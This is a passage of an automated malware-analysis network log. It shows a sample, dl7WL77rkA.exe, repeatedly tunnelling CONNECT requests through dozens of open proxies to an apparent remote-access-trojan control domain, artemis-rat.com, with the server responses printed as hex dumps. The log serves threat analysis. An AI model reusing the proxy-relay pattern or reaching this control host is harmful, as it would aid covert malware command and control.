6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Mar 11, 2024 03:30:42.435575962 CET	172	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.4.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1089	192.168.2.5	52835	47.74.226.8	5001	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.120196104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1090	192.168.2.5	52829	27.65.240.157	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.122005939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1091	192.168.2.5	52859	45.233.2.1	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.124289036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1092	192.168.2.5	52834	43.255.113.232	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.124826908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1093	192.168.2.5	52901	74.119.144.60	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.128709078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1094	192.168.2.5	52910	162.223.94.166	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.134587049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.523245096 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1095	192.168.2.5	52854	45.11.95.165	6038	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.134588957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.582854986 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1096	192.168.2.5	52853	112.78.181.210	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.138060093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.905004978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.092669010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.202636957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.405278921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1097	192.168.2.5	52936	146.19.106.193	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.140250921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1098	192.168.2.5	52939	45.196.150.155	5432	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.156244993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.379040956 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1099	192.168.2.5	52969	47.89.184.18	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.194062948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.411362886 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1100	192.168.2.5	52334	220.194.189.144	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.196629047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:12.693600893 CET	719	IN	HTTP/1.1 502 Bad Gateway Server: ZZY_WEB/20.08.18 Date: Mon, 11 Mar 2024 02:53:45 GMT Content-Type: text/html Content-Length: 563 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 5a 5a 59 5f 57 45 42 2f 32 30 2e 30 38 2e 31 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>ZZY_WEB/20.08.18</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 11, 2024 03:31:15.174531937 CET	719	IN	HTTP/1.1 502 Bad Gateway Server: ZZY_WEB/20.08.18 Date: Mon, 11 Mar 2024 02:53:45 GMT Content-Type: text/html Content-Length: 563 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 5a 5a 59 5f 57 45 42 2f 32 30 2e 30 38 2e 31 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>ZZY_WEB/20.08.18</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 11, 2024 03:31:18.153526068 CET	719	IN	HTTP/1.1 502 Bad Gateway Server: ZZY_WEB/20.08.18 Date: Mon, 11 Mar 2024 02:53:45 GMT Content-Type: text/html Content-Length: 563 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 5a 5a 59 5f 57 45 42 2f 32 30 2e 30 38 2e 31 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>ZZY_WEB/20.08.18</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 11, 2024 03:31:24.105346918 CET	719	IN	HTTP/1.1 502 Bad Gateway Server: ZZY_WEB/20.08.18 Date: Mon, 11 Mar 2024 02:53:45 GMT Content-Type: text/html Content-Length: 563 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 5a 5a 59 5f 57 45 42 2f 32 30 2e 30 38 2e 31 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>ZZY_WEB/20.08.18</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1101	192.168.2.5	52911	103.113.71.230	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.198205948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.967607021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.939420938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.796786070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405452967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.014482975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.679776907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.904896975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1102	192.168.2.5	52970	118.27.33.17	8118	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.206578970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.245512962 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1103	192.168.2.5	52389	138.2.73.157	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.219557047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1104	192.168.2.5	52890	148.72.215.230	48640	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
